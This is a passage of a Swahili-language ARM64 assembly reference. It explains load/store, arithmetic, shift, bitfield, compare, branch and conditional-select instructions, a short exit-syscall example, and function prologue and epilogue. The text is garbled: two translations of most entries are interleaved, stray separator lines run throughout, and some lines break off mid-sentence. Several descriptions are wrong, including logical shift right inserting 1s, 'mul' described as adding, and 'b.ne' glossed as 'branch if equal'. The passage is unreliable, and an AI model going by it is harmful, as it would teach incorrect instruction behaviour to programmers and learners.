* **Hali ya Kabla ya Kufuta**: Hii itatumia hesabu kwa asili, kupata matokeo na pia kuhifadhi asili mpya katika asili.
|
||||
* **`mov`**: **Hamisha** thamani kutoka register moja hadi nyingine.
|
||||
* Mfano: `mov x0, x1` — Hii inahamisha thamani kutoka `x1` hadi `x0`.
|
||||
* **`ldr`**: **Pakia** thamani kutoka **kumbukumbu** hadi **register**.
|
||||
* Mfano: `ldr x0, [x1]` — Hii inapakua thamani kutoka eneo la kumbukumbu lililoonyeshwa na `x1` hadi `x0`.
|
||||
* **Njia ya Offset**: Offset inayohusiana na kiashiria cha asili inaonyeshwa, kwa mfano:
|
||||
* `ldr x2, [x1, #8]`, hii itapakia x2 thamani kutoka x1 + 8
|
||||
* `ldr x2, [x0, x1, lsl #2]`, hii itapakia x2 kitu kutoka kwenye array x0, kutoka kwenye nafasi x1 (index) \* 4
|
||||
* **Njia ya Pre-indexed**: Hii itatumika kufanya mahesabu kwa asili, kupata matokeo na pia kuhifadhi asili mpya katika asili.
|
||||
* `ldr x2, [x1, #8]!`, hii itapakia `x1 + 8` katika `x2` na kuhifadhi katika x1 matokeo ya `x1 + 8`
|
||||
* `str lr, [sp, #-4]!`, Hifadhi kiashiria cha kiungo katika sp na sasisha kisajili cha sp
|
||||
* **Hali ya Baada ya Kufuta**: Hii ni kama ile ya awali lakini anwani ya kumbukumbu inafikiwa kisha kufuta hufanywa na kuhifadhiwa.
|
||||
* `str lr, [sp, #-4]!`, Hifadhi register ya kiungo katika sp na sasisha register sp
|
||||
* **Njia ya Post-index**: Hii ni kama ya awali lakini anwani ya kumbukumbu inafikiwa na kisha offset inakokotwa na kuhifadhiwa.
|
||||
* `ldr x0, [x1], #8`, pakia `x1` katika `x0` na sasisha x1 na `x1 + 8`
|
||||
* **Kuwasilisha kwa PC**: Katika kesi hii anwani ya kupakia inahesabiwa kulingana na kisajili cha PC
|
||||
* `ldr x1, =_start`, Hii itapakia anwani ambapo ishara ya `_start` inaanza katika x1 inayohusiana na PC ya sasa.
|
||||
* **`str`**: **Hifadhi** thamani kutoka kwa **kisajili** hadi kwenye **kumbukumbu**.
|
||||
* Mfano: `str x0, [x1]` — Hii inahifadhi thamani katika `x0` kwenye eneo la kumbukumbu linaloelekezwa na `x1`.
|
||||
* **`ldp`**: **Pakia Jozi ya Visajili**. Maagizo haya **hupakia visajili viwili** kutoka kwa **eneo la kumbukumbu** za mfululizo. Anwani ya kumbukumbu kawaida hufanywa kwa kuongeza kufuta kwa thamani katika kisajili kingine.
|
||||
* Mfano: `ldp x0, x1, [x2]` — Hii inapakia `x0` na `x1` kutoka kwenye maeneo ya kumbukumbu kwenye `x2` na `x2 + 8`, mtawalia.
|
||||
* **`stp`**: **Hifadhi Jozi ya Visajili**. Maagizo haya **huhifadhi visajili viwili** kwenye **eneo la kumbukumbu** za mfululizo. Anwani ya kumbukumbu kawaida hufanywa kwa kuongeza kufuta kwa thamani katika kisajili kingine.
|
||||
* Mfano: `stp x0, x1, [sp]` — Hii inahifadhi `x0` na `x1` kwenye maeneo ya kumbukumbu kwenye `sp` na `sp + 8`, mtawalia.
|
||||
* `stp x0, x1, [sp, #16]!` — Hii inahifadhi `x0` na `x1` kwenye maeneo ya kumbukumbu kwenye `sp+16` na `sp + 24`, mtawalia, na kusasisha `sp` na `sp+16`.
|
||||
* **`ongeza`**: **Ongeza** thamani za visajili viwili na uhifadhi matokeo katika kisajili.
|
||||
* **Syntax**: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX\]
|
||||
* **PC-relative addressing**: Katika kesi hii anwani ya kupakia inakokotwa kulingana na register ya PC
|
||||
* `ldr x1, =_start`, Hii itapakia anwani ambapo alama ya `_start` inaanzia katika x1 inahusiana na PC ya sasa.
|
||||
* **`str`**: **Hifadhi** thamani kutoka **register** hadi **kumbukumbu**.
|
||||
* Mfano: `str x0, [x1]` — Hii inahifadhi thamani katika `x0` kwenye eneo la kumbukumbu lililoonyeshwa na `x1`.
|
||||
* **`ldp`**: **Pakia Pair ya Register**. Amri hii **inapakia register mbili** kutoka **maeneo ya kumbukumbu** yanayofuatana. Anwani ya kumbukumbu kwa kawaida inaundwa kwa kuongeza offset kwa thamani katika register nyingine.
|
||||
* Mfano: `ldp x0, x1, [x2]` — Hii inapakua `x0` na `x1` kutoka maeneo ya kumbukumbu katika `x2` na `x2 + 8`, mtawalia.
|
||||
* **`stp`**: **Hifadhi Pair ya Register**. Amri hii **inahifadhi register mbili** kwenye **maeneo ya kumbukumbu** yanayofuatana. Anwani ya kumbukumbu kwa kawaida inaundwa kwa kuongeza offset kwa thamani katika register nyingine.
|
||||
* Mfano: `stp x0, x1, [sp]` — Hii inahifadhi `x0` na `x1` kwenye maeneo ya kumbukumbu katika `sp` na `sp + 8`, mtawalia.
|
||||
* `stp x0, x1, [sp, #16]!` — Hii inahifadhi `x0` na `x1` kwenye maeneo ya kumbukumbu katika `sp+16` na `sp + 24`, mtawalia, na sasisha `sp` na `sp+16`.
|
||||
* **`add`**: **Ongeza** thamani za register mbili na uhifadhi matokeo katika register.
|
||||
* Sintaksia: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX]
|
||||
* Xn1 -> Marudio
|
||||
* Xn2 -> Operand 1
|
||||
* Xn3 | #imm -> Operando 2 (sajili au mara moja)
|
||||
* \[shift #N | RRX\] -> Fanya mabadiliko au piga simu kwa RRX
|
||||
* Xn2 -> Operandi 1
|
||||
* Xn3 | #imm -> Operandi 2 (register au papo hapo)
|
||||
* \[shift #N | RRX] -> Fanya shift au piga RRX
|
||||
* Mfano: `add x0, x1, x2` — Hii inaongeza thamani katika `x1` na `x2` pamoja na kuhifadhi matokeo katika `x0`.
|
||||
* `add x5, x5, #1, lsl #12` — Hii inalingana na 4096 (1 iliyohamishwa mara 12) -> 1 0000 0000 0000 0000
|
||||
* **`adds`** Hii inatekeleza `add` na kusasisha bendera
|
||||
* **`sub`**: **Punguza** thamani za sajili mbili na uhifadhi matokeo katika sajili.
|
||||
* Angalia **`add`** **syntax**.
|
||||
* `add x5, x5, #1, lsl #12` — Hii inalingana na 4096 (1 shifter mara 12) -> 1 0000 0000 0000 0000
|
||||
* **`adds`** Hii inafanya `add` na inasasisha bendera
|
||||
* **`sub`**: **Punguza** thamani za register mbili na uhifadhi matokeo katika register.
|
||||
* Angalia **`add`** **sintaksia**.
|
||||
* Mfano: `sub x0, x1, x2` — Hii inapunguza thamani katika `x2` kutoka `x1` na kuhifadhi matokeo katika `x0`.
|
||||
* **`subs`** Hii ni kama sub lakini ikisasisha bendera
|
||||
* **`mul`**: **Zidisha** thamani za **sajili mbili** na uhifadhi matokeo katika sajili.
|
||||
* Mfano: `mul x0, x1, x2` — Hii inazidisha thamani katika `x1` na `x2` na kuhifadhi matokeo katika `x0`.
|
||||
* **`div`**: **Gawanya** thamani ya sajili moja kwa nyingine na uhifadhi matokeo katika sajili.
|
||||
* **`subs`** Hii ni kama sub lakini inasasisha bendera
|
||||
* **`mul`**: **Weka** thamani za **register mbili** na uhifadhi matokeo katika register.
|
||||
* Mfano: `mul x0, x1, x2` — Hii inaongeza thamani katika `x1` na `x2` na kuhifadhi matokeo katika `x0`.
|
||||
* **`div`**: **Gawanya** thamani ya register moja kwa nyingine na uhifadhi matokeo katika register.
|
||||
* Mfano: `div x0, x1, x2` — Hii inagawanya thamani katika `x1` kwa `x2` na kuhifadhi matokeo katika `x0`.
|
||||
* **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**:
|
||||
* **Mbadala wa kushoto la mantiki**: Ongeza 0 kutoka mwisho ukihamisha biti nyingine mbele (zidisha mara n kwa 2)
|
||||
* **Mbadala wa kulia la mantiki**: Ongeza 1 mwanzoni ukihamisha biti nyingine nyuma (gawanya mara n kwa 2 kwa nambari zisizo na saini)
|
||||
* **Mbadala wa kulia wa hisabati**: Kama **`lsr`**, lakini badala ya kuongeza 0 ikiwa biti muhimu zaidi ni 1, \*\*1s zinaongezwa (\*\*gawanya mara n kwa 2 kwa nambari zenye saini)
|
||||
* **Zungusha kulia**: Kama **`lsr`** lakini chochote kinachotolewa kulia kinawekwa kushoto
|
||||
* **Zungusha Kulia na Panua**: Kama **`ror`**, lakini na bendera ya kubeba kama "biti muhimu zaidi". Kwa hivyo bendera ya kubeba inahamishiwa kwa biti ya 31 na biti iliyotolewa kwa bendera ya kubeba.
|
||||
* **`bfm`**: **Harakisha ya Biti**, hizi operesheni **nakili biti `0...n`** kutoka kwa thamani na kuziweka katika nafasi **`m..m+n`**. **`#s`** inabainisha **nafasi ya biti ya kushoto** na **`#r`** kiasi cha **zungusha kulia**.
|
||||
* Harakisha ya biti: `BFM Xd, Xn, #r`
|
||||
* Harakisha ya biti yenye saini: `SBFM Xd, Xn, #r, #s`
|
||||
* Harakisha ya biti isiyo na saini: `UBFM Xd, Xn, #r, #s`
|
||||
* **Toa na Ingiza Biti**: Nakili uga wa biti kutoka kwa sajili na uziweke katika sajili nyingine.
|
||||
* **`BFI X1, X2, #3, #4`** Ingiza biti 4 kutoka X2 kutoka biti ya 3 ya X1
|
||||
* **`BFXIL X1, X2, #3, #4`** Toa kutoka biti ya 3 ya X2 biti nne na uziweke kwa X1
|
||||
* **`SBFIZ X1, X2, #3, #4`** Panua biti 4 kutoka X2 na uziweke kwa X1 kuanzia nafasi ya biti 3 ukiweka biti sahihi
|
||||
* **`SBFX X1, X2, #3, #4`** Toa biti 4 kuanzia biti 3 kutoka X2, panua biti sahihi, na weka matokeo kwa X1
|
||||
* **`UBFIZ X1, X2, #3, #4`** Panua biti 4 kutoka X2 na uziweke kwa X1 kuanzia nafasi ya biti 3 ukiweka biti sahihi
|
||||
* **`UBFX X1, X2, #3, #4`** Toa biti 4 kuanzia biti 3 kutoka X2 na weka matokeo yaliyozidishwa na sifuri kwa X1.
|
||||
* **Panua Saini Kwenda X:** Panua saini (au ongeza tu 0s katika toleo lisilo na saini) ya thamani ili kuweza kufanya operesheni nayo:
|
||||
* **`SXTB X1, W2`** Panua saini ya baiti **kutoka W2 hadi X1** (`W2` ni nusu ya `X2`) ili kujaza biti 64
|
||||
* **`SXTH X1, W2`** Panua saini ya nambari ya 16biti **kutoka W2 hadi X1** ili kujaza biti 64
|
||||
* **`SXTW X1, W2`** Panua saini ya baiti **kutoka W2 hadi X1** ili kujaza biti 64
|
||||
* **`UXTB X1, W2`** Ongeza 0s (bila saini) kwa baiti **kutoka W2 hadi X1** ili kujaza biti 64
|
||||
* **`extr`:** Toa biti kutoka kwa **jozi ya sajili zilizounganishwa**.
|
||||
* Mfano: `EXTR W3, W2, W1, #3` Hii ita **unganisha W1+W2** na kupata **kutoka biti ya 3 ya W2 hadi biti ya 3 ya W1** na kuhifadhi katika W3.
|
||||
* **`cmp`**: **Hakiki** sajili mbili na weka bendera za hali. Ni **jina mbadala la `subs`** ikisawazisha sajili ya marudio na sajili sifuri. Inafaa kujua ikiwa `m == n`.
|
||||
* Inaunga mkono **syntax sawa na `subs`**
|
||||
* Mfano: `cmp x0, x1` — Hii inahakiki thamani katika `x0` na `x1` na kuweka bendera za hali kulingana.
|
||||
* **`cmn`**: **Hakiki hasi** ya operesheni. Katika kesi hii ni **jina mbadala la `adds`** na inaunga mkono syntax sawa. Inafaa kujua ikiwa `m == -n`.
|
||||
* **`ccmp`**: Hakiki ya masharti, ni hakiki ambayo itafanywa tu ikiwa hakiki ya awali ilikuwa kweli na itaweka wazi hasa biti za nzcv.
|
||||
* `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> ikiwa x1 != x2 na x3 < x4, ruka kwenye func
|
||||
* Hii ni kwa sababu **`ccmp`** itatekelezwa tu ikiwa **`cmp` ya awali ilikuwa `NE`**, ikiwa haikuwa hivyo, biti za `nzcv` zitawekwa kama 0 (ambayo haitakidhi hakiki ya `blt`).
|
||||
* Hii inaweza pia kutumika kama `ccmn` (sawa lakini hasi, kama `cmp` vs `cmn`).
|
||||
* **`tst`**: Inachunguza ikiwa thamani za hakiki zote ni 1 (inafanya kazi kama na ANDS bila kuhifadhi matokeo mahali popote). Ni muhimu kuchunguza sajili na thamani na kuangalia ikiwa biti yoyote ya sajili iliyotajwa katika thamani ni 1.
|
||||
* Mfano: `tst X1, #7` Hakiki ikiwa biti za mwisho 3 za X1 ni 1
|
||||
* **`teq`**: Operesheni ya XOR ikipuuza matokeo
|
||||
* **`b`**: Tawi lisilo na masharti
|
||||
* **Shift ya mantiki kushoto**: Ongeza 0s kutoka mwisho ukihamisha bits nyingine mbele (ongeza kwa n-mara 2)
|
||||
* **Shift ya mantiki kulia**: Ongeza 1s mwanzoni ukihamisha bits nyingine nyuma (gawanya kwa n-mara 2 katika isiyo na saini)
|
||||
* **Shift ya kihesabu kulia**: Kama **`lsr`**, lakini badala ya kuongeza 0s ikiwa bit muhimu zaidi ni 1, **1s zinaongezwa** (\*\*gawanya kwa ntimes 2 katika saini)
|
||||
* **Rotate kulia**: Kama **`lsr`** lakini chochote kinachondolewa kutoka kulia kinatolewa kushoto
|
||||
* **Rotate Kulia na Kuongeza**: Kama **`ror`**, lakini na bendera ya kubeba kama "bit muhimu zaidi". Hivyo bendera ya kubeba inahamishwa kwa bit 31 na bit iliyondolewa kwa bendera ya kubeba.
|
||||
* **`bfm`**: **Bit Filed Move**, operesheni hizi **nakala bits `0...n`** kutoka thamani na kuziweka katika nafasi **`m..m+n`**. **`#s`** inaonyesha **nafasi ya bit ya kushoto** na **`#r`** ni **kiasi cha kuhamasisha kulia**.
|
||||
* Hamisha bitfiled: `BFM Xd, Xn, #r`
|
||||
* Hamisha Bitfield iliyosainiwa: `SBFM Xd, Xn, #r, #s`
|
||||
* Hamisha Bitfield isiyosainiwa: `UBFM Xd, Xn, #r, #s`
|
||||
* **Kutoa na Kuingiza Bitfield:** Nakala bitfield kutoka register moja na kuhamasisha kwenye register nyingine.
|
||||
* **`BFI X1, X2, #3, #4`** Ingiza bits 4 kutoka X2 kutoka bit ya 3 ya X1
|
||||
* **`BFXIL X1, X2, #3, #4`** Toa kutoka bit ya 3 ya X2 bits nne na kuhamasisha kwenye X1
|
||||
* **`SBFIZ X1, X2, #3, #4`** Ongeza saini bits 4 kutoka X2 na kuhamasisha kwenye X1 kuanzia kwenye nafasi ya bit 3 ikizima bits za kulia
|
||||
* **`SBFX X1, X2, #3, #4`** Inatoa bits 4 kuanzia bit 3 kutoka X2, inaongeza saini, na kuweka matokeo katika X1
|
||||
* **`UBFIZ X1, X2, #3, #4`** Ongeza 0s (isiyosainiwa) kwa byte **kutoka W2 hadi X1** ili kujaza 64bits
|
||||
* **`UBFX X1, X2, #3, #4`** Inatoa bits 4 kuanzia bit 3 kutoka X2 na kuweka matokeo yaliyoongezwa sifuri katika X1.
|
||||
* **Ongeza Saini kwa X:** Ongeza saini (au ongeza tu 0s katika toleo lisilosainiwa) ya thamani ili uweze kufanya operesheni nayo:
|
||||
* **`SXTB X1, W2`** Ongeza saini ya byte **kutoka W2 hadi X1** (`W2` ni nusu ya `X2`) ili kujaza 64bits
|
||||
* **`SXTH X1, W2`** Ongeza saini ya nambari ya 16bit **kutoka W2 hadi X1** ili kujaza 64bits
|
||||
* **`SXTW X1, W2`** Ongeza saini ya byte **kutoka W2 hadi X1** ili kujaza 64bits
|
||||
* **`UXTB X1, W2`** Ongeza 0s (isiyosainiwa) kwa byte **kutoka W2 hadi X1** ili kujaza 64bits
|
||||
* **`extr`:** Inatoa bits kutoka **pair ya register iliyounganishwa**.
|
||||
* Mfano: `EXTR W3, W2, W1, #3` Hii itachanganya **W1+W2** na kupata **kuanzia bit 3 ya W2 hadi bit 3 ya W1** na kuhifadhi katika W3.
|
||||
* **`cmp`**: **Linganisha** register mbili na kuweka bendera za hali. Ni **alias ya `subs`** ikiseti register ya marudio kuwa register ya sifuri. Inafaida kujua ikiwa `m == n`.
|
||||
* Inasaidia **sintaksia sawa na `subs`**
|
||||
* Mfano: `cmp x0, x1` — Hii inalinganisha thamani katika `x0` na `x1` na kuweka bendera za hali ipasavyo.
|
||||
* **`cmn`**: **Linganishi operandi hasi**. Katika kesi hii ni **alias ya `adds`** na inasaidia sintaksia sawa. Inafaida kujua ikiwa `m == -n`.
|
||||
* **`ccmp`**: Linganisha kwa masharti, ni kulinganisha ambayo itafanywa tu ikiwa kulinganisha kwa awali ilikuwa kweli na itaseti bits za nzcv kwa usahihi.
|
||||
* `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> ikiwa x1 != x2 na x3 < x4, ruka kwa func
|
||||
* Hii ni kwa sababu **`ccmp`** itatekelezwa tu ikiwa **`cmp` ya awali ilikuwa `NE`**, ikiwa haikuwa bits `nzcv` zitawekwa kuwa 0 (ambayo haitaridhisha kulinganisha `blt`).
|
||||
* Hii inaweza pia kutumika kama `ccmn` (sawa lakini hasi, kama `cmp` dhidi ya `cmn`).
|
||||
* **`tst`**: Inakagua ikiwa yoyote ya thamani za kulinganisha ni 1 (inafanya kazi kama ANDS bila kuhifadhi matokeo mahali popote). Inafaida kuangalia register na thamani na kuangalia ikiwa yoyote ya bits za register iliyoonyeshwa katika thamani ni 1.
|
||||
* Mfano: `tst X1, #7` Angalia ikiwa yoyote ya bits tatu za mwisho za X1 ni 1
|
||||
* **`teq`**: Operesheni ya XOR ikitenga matokeo
|
||||
* **`b`**: Matawi yasiyo na masharti
|
||||
* Mfano: `b myFunction`
|
||||
* Tafadhali kumbuka hii haitajaza sajili ya kiungo na anwani ya kurudi (haifai kwa wito wa subrutine ambao unahitaji kurudi nyuma)
|
||||
* **`bl`**: **Tawi** na kiungo, hutumiwa kwa **kuita** subrutine. Huhifadhi anwani ya kurudi katika `x30`.
|
||||
* Kumbuka kwamba hii haitajaza register ya kiungo na anwani ya kurudi (sio sahihi kwa wito wa subrutine ambao unahitaji kurudi nyuma)
|
||||
* **`bl`**: **Tawi** na kiungo, inatumika **kuita** **subroutine**. Inahifadhi **anwani ya kurudi katika `x30`**.
|
||||
* Mfano: `bl myFunction` — Hii inaita kazi `myFunction` na kuhifadhi anwani ya kurudi katika `x30`.
|
||||
* Tafadhali kumbuka hii haitajaza sajili ya kiungo na anwani ya kurudi (haifai kwa wito wa subrutine ambao unahitaji kurudi nyuma)
|
||||
* **`blr`**: **Tawi** na Kiungo kwenda Sajili, hutumiwa kwa **kuita** subrutine ambapo lengo limetajwa katika sajili. Huhifadhi anwani ya kurudi katika `x30`. (Hii ni
|
||||
* Mfano: `blr x1` — Hii inaita kazi ambayo anwani yake iko katika `x1` na kuhifadhi anwani ya kurudi katika `x30`.
|
||||
* **`ret`**: **Rudi** kutoka kwa **subrutine**, kawaida kwa kutumia anwani katika **`x30`**.
|
||||
* Mfano: `ret` — Hii inarudi kutoka kwa subrutine ya sasa kwa kutumia anwani ya kurudi katika `x30`.
|
||||
* Kumbuka kwamba hii haitajaza register ya kiungo na anwani ya kurudi (sio sahihi kwa wito wa subrutine ambao unahitaji kurudi nyuma)
|
||||
* **`blr`**: **Tawi** na Kiungo kwa Register, inatumika **kuita** **subroutine** ambapo lengo linatolewa katika **register**. Inahifadhi anwani ya kurudi katika `x30`. (Hii ni
|
||||
* Mfano: `blr x1` — Hii inaita kazi ambayo anwani yake inapatikana katika `x1` na kuhifadhi anwani ya kurudi katika `x30`.
|
||||
* **`ret`**: **Rudi** kutoka **subroutine**, kwa kawaida ikitumia anwani katika **`x30`**.
|
||||
* Mfano: `ret` — Hii inarudi kutoka subroutine ya sasa ikitumia anwani ya kurudi katika `x30`.
|
||||
* **`b.<cond>`**: Matawi ya masharti
|
||||
* **`b.eq`**: **Tawi ikiwa sawa**, kulingana na hakiki ya awali ya `cmp`.
|
||||
* Mfano: `b.eq label` — Ikiwa hakiki ya awali ya `cmp` ilipata thamani mbili sawa, hii inaruka kwenye `label`.
|
||||
* **`b.ne`**: **Branch if Not Equal**. Maelekezo haya yanachunguza bendera za hali (ambazo ziliwekwa na maelekezo ya kulinganisha hapo awali), na ikiwa thamani zilizolinganishwa hazikuwa sawa, inaruka kwenye lebo au anwani.
|
||||
* Mfano: Baada ya maelekezo ya `cmp x0, x1`, `b.ne label` — Ikiwa thamani katika `x0` na `x1` hazikuwa sawa, hii inaruka kwenye `label`.
|
||||
* **`cbz`**: **Kulinganisha na Kufanya Tawi kwa Sifuri**. Maelekezo haya yanalinganisha kisajili na sifuri, na ikiwa wana sawa, inaruka kwenye lebo au anwani.
|
||||
* Mfano: `cbz x0, label` — Ikiwa thamani katika `x0` ni sifuri, hii inaruka kwenye `label`.
|
||||
* **`cbnz`**: **Kulinganisha na Kufanya Tawi kwa Si-Sifuri**. Maelekezo haya yanalinganisha kisajili na sifuri, na ikiwa hawako sawa, inaruka kwenye lebo au anwani.
|
||||
* Mfano: `cbnz x0, label` — Ikiwa thamani katika `x0` si sifuri, hii inaruka kwenye `label`.
|
||||
* **`tbnz`**: Jaribu biti na ruka kwenye si-sifuri
|
||||
* **`b.eq`**: **Tawi ikiwa sawa**, kulingana na amri ya awali ya `cmp`.
|
||||
* Mfano: `b.eq label` — Ikiwa amri ya awali ya `cmp` iligundua thamani mbili sawa, hii inaruka kwa `label`.
|
||||
* **`b.ne`**: **Tawi ikiwa Sawa**. Amri hii inakagua bendera za hali (ambazo ziliwekwa na amri ya kulinganisha ya awali), na ikiwa thamani zilizolinganishwa hazikuwa sawa, inatunga kwa lebo au anwani.
|
||||
* Mfano: Baada ya amri ya `cmp x0, x1`, `b.ne label` — Ikiwa thamani katika `x0` na `x1` hazikuwa sawa, hii inaruka kwa `label`.
|
||||
* **`cbz`**: **Linganishi na Tawi kwenye Sifuri**. Amri hii inalinganisha register na sifuri, na ikiwa sawa, inatunga kwa lebo au anwani.
|
||||
* Mfano: `cbz x0, label` — Ikiwa thamani katika `x0` ni sifuri, hii inaruka kwa `label`.
|
||||
* **`cbnz`**: **Linganishi na Tawi kwenye Sio Sifuri**. Amri hii inalinganisha register na sifuri, na ikiwa hazikuwa sawa, inatunga kwa lebo au anwani.
|
||||
* Mfano: `cbnz x0, label` — Ikiwa thamani katika `x0` sio sifuri, hii inaruka kwa `label`.
|
||||
* **`tbnz`**: Jaribu bit na tawi kwenye sio sifuri
|
||||
* Mfano: `tbnz x0, #8, label`
|
||||
* **`tbz`**: Jaribu biti na ruka kwenye sifuri
|
||||
* **`tbz`**: Jaribu bit na tawi kwenye sifuri
|
||||
* Mfano: `tbz x0, #8, label`
|
||||
* **Operesheni za kuchagua kwa Masharti**: Hizi ni operesheni ambazo tabia yake inatofautiana kulingana na bits za masharti.
|
||||
* `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Ikiwa ni kweli, X0 = X1, ikiwa ni uongo, X0 = X2
|
||||
* `csinc Xd, Xn, Xm, cond` -> Ikiwa ni kweli, Xd = Xn, ikiwa ni uongo, Xd = Xm + 1
|
||||
* `cinc Xd, Xn, cond` -> Ikiwa ni kweli, Xd = Xn + 1, ikiwa ni uongo, Xd = Xn
|
||||
* `csinv Xd, Xn, Xm, cond` -> Ikiwa ni kweli, Xd = Xn, ikiwa ni uongo, Xd = SIO(Xm)
|
||||
* `cinv Xd, Xn, cond` -> Ikiwa ni kweli, Xd = SIO(Xn), ikiwa ni uongo, Xd = Xn
|
||||
* `csneg Xd, Xn, Xm, cond` -> Ikiwa ni kweli, Xd = Xn, ikiwa ni uongo, Xd = - Xm
|
||||
* `cneg Xd, Xn, cond` -> Ikiwa ni kweli, Xd = - Xn, ikiwa ni uongo, Xd = Xn
|
||||
* `cset Xd, Xn, Xm, cond` -> Ikiwa ni kweli, Xd = 1, ikiwa ni uongo, Xd = 0
|
||||
* `csetm Xd, Xn, Xm, cond` -> Ikiwa ni kweli, Xd = \<wote 1>, ikiwa ni uongo, Xd = 0
|
||||
* **`adrp`**: Hesabu **anwani ya ukurasa wa ishara** na uhifadhi katika kisajili.
|
||||
* Mfano: `adrp x0, ishara` — Hii inahesabu anwani ya ukurasa wa `ishara` na kuihifadhi katika `x0`.
|
||||
* **`ldrsw`**: **Pakia** thamani ya **32-bit** iliyosainiwa kutoka kumbukumbu na **ongeza ishara hadi 64** biti.
|
||||
* Mfano: `ldrsw x0, [x1]` — Hii inapakia thamani iliyosainiwa ya biti 32 kutoka kwenye eneo la kumbukumbu linaloelekezwa na `x1`, inaongeza ishara hadi 64 biti, na kuihifadhi katika `x0`.
|
||||
* **`stur`**: **Hifadhi thamani ya kisajili kwenye eneo la kumbukumbu**, ukitumia mbadala kutoka kwa kisajili kingine.
|
||||
* Mfano: `stur x0, [x1, #4]` — Hii inahifadhi thamani katika `x0` kwenye anwani ya kumbukumbu ambayo ni bayti 4 zaidi ya anwani iliyopo katika `x1`.
|
||||
* **`svc`** : Fanya wito wa **mfumo**. Inasimama kwa "Wito wa Msimamizi". Wakati processor inatekeleza maelekezo haya, inabadilisha kutoka hali ya mtumiaji hadi hali ya msingi na inaruka kwenye eneo maalum kwenye kumbukumbu ambapo **msimamizi wa mfumo wa kernel** unapatikana.
|
||||
* Mfano:
|
||||
* **Operesheni za kuchagua za masharti**: Hizi ni operesheni ambazo tabia yake inatofautiana kulingana na bits za masharti.
|
||||
* `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Ikiwa kweli, X0 = X1, ikiwa si kweli, X0 = X2
|
||||
* `csinc Xd, Xn, Xm, cond` -> Ikiwa kweli, Xd = Xn, ikiwa si kweli, Xd = Xm + 1
|
||||
* `cinc Xd, Xn, cond` -> Ikiwa kweli, Xd = Xn + 1, ikiwa si kweli, Xd = Xn
|
||||
* `csinv Xd, Xn, Xm, cond` -> Ikiwa kweli, Xd = Xn, ikiwa si kweli, Xd = NOT(Xm)
|
||||
* `cinv Xd, Xn, cond` -> Ikiwa kweli, Xd = NOT(Xn), ikiwa si kweli, Xd = Xn
|
||||
* `csneg Xd, Xn, Xm, cond` -> Ikiwa kweli, Xd = Xn, ikiwa si kweli, Xd = - Xm
|
||||
* `cneg Xd, Xn, cond` -> Ikiwa kweli, Xd = - Xn, ikiwa si kweli, Xd = Xn
|
||||
* `cset Xd, Xn, Xm, cond` -> Ikiwa kweli, Xd = 1, ikiwa si kweli, Xd = 0
|
||||
* `csetm Xd, Xn, Xm, cond` -> Ikiwa kweli, Xd = \<wote 1>, ikiwa si kweli, Xd = 0
|
||||
* **`adrp`**: Hesabu **anwani ya ukurasa ya alama** na uhifadhi katika register.
|
||||
* Mfano: `adrp x0, symbol` — Hii inahesabu anwani ya ukurasa ya `symbol` na kuihifadhi katika `x0`.
|
||||
* **`ldrsw`**: **Pakia** thamani iliyosainiwa ya **32-bit** kutoka kumbukumbu na **ongeza saini hadi 64** bits.
|
||||
* Mfano: `ldrsw x0, [x1]` — Hii inapakua thamani iliyosainiwa ya 32-bit kutoka eneo la kumbukumbu lililoonyeshwa na `x1`, inaongeza saini hadi 64 bits, na kuihifadhi katika `x0`.
|
||||
* **`stur`**: **Hifadhi thamani ya register kwenye eneo la kumbukumbu**, kwa kutumia offset kutoka register nyingine.
|
||||
* Mfano: `stur x0, [x1, #4]` — Hii inahifadhi thamani katika `x0` kwenye anwani ya kumbukumbu ambayo ni bytes 4 zaidi kuliko anwani iliyopo katika `x1`.
|
||||
* **`svc`** : Fanya **wito wa mfumo**. Inasimama kwa "Wito wa Msimamizi". Wakati processor inatekeleza amri hii, inabadilika kutoka hali ya mtumiaji hadi hali ya kernel na kuruka kwenye eneo maalum la kumbukumbu ambapo **msimbo wa kushughulikia wito wa mfumo wa kernel** unapatikana.
|
||||
* Mfano:
|
||||
|
||||
```armasm
|
||||
mov x8, 93 ; Pakia nambari ya wito wa mfumo kwa ajili ya kutoka (93) kwenye kisajili x8.
|
||||
mov x0, 0 ; Pakia nambari ya hali ya kutoka (0) kwenye kisajili x0.
|
||||
mov x8, 93 ; Pakia nambari ya wito wa mfumo kwa kutoka (93) ndani ya register x8.
|
||||
mov x0, 0 ; Pakia msimamo wa kutoka (0) ndani ya register x0.
|
||||
svc 0 ; Fanya wito wa mfumo.
|
||||
```
|
||||
|
||||
### **Prologi ya Kazi**
|
||||
### **Prologue ya Kazi**
|
||||
|
||||
1. **Hifadhi kiungo cha usajili na kielekezi cha fremu kwenye steki**:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
1. **Hifadhi register ya kiungo na pointer ya frame kwenye stack**:
|
||||
```armasm
|
||||
stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement the stack pointer
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
2. **Wekeza pointer mpya wa fremu**: `mov x29, sp` (inaweka pointer mpya wa fremu kwa kazi ya sasa)
|
||||
3. **Tenga nafasi kwenye steki kwa mizani ya ndani** (ikiwa inahitajika): `sub sp, sp, <size>` (ambapo `<size>` ni idadi ya baiti inayohitajika)
|
||||
2. **Weka kiashiria kipya cha fremu**: `mov x29, sp` (inaweka kiashiria kipya cha fremu kwa kazi ya sasa)
|
||||
3. **Panga nafasi kwenye stack kwa ajili ya mabadiliko ya ndani** (ikiwa inahitajika): `sub sp, sp, <size>` (ambapo `<size>` ni idadi ya bytes zinazohitajika)
|
||||
|
||||
### **Epilogo ya Kazi**
|
||||
### **Epilogue ya Kazi**
|
||||
|
||||
1. **Futa mizani ya ndani (ikiwa ilikuwa imetengwa)**: `add sp, sp, <size>`
|
||||
2. **Rejesha msajili wa kiungo na pointer wa fremu**:
|
||||
1. **Futa mabadiliko ya ndani (ikiwa yoyote ilipangwa)**: `add sp, sp, <size>`
|
||||
2. **Rejesha kiashiria cha kiungo na kiashiria cha fremu**:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```armasm
|
||||
|
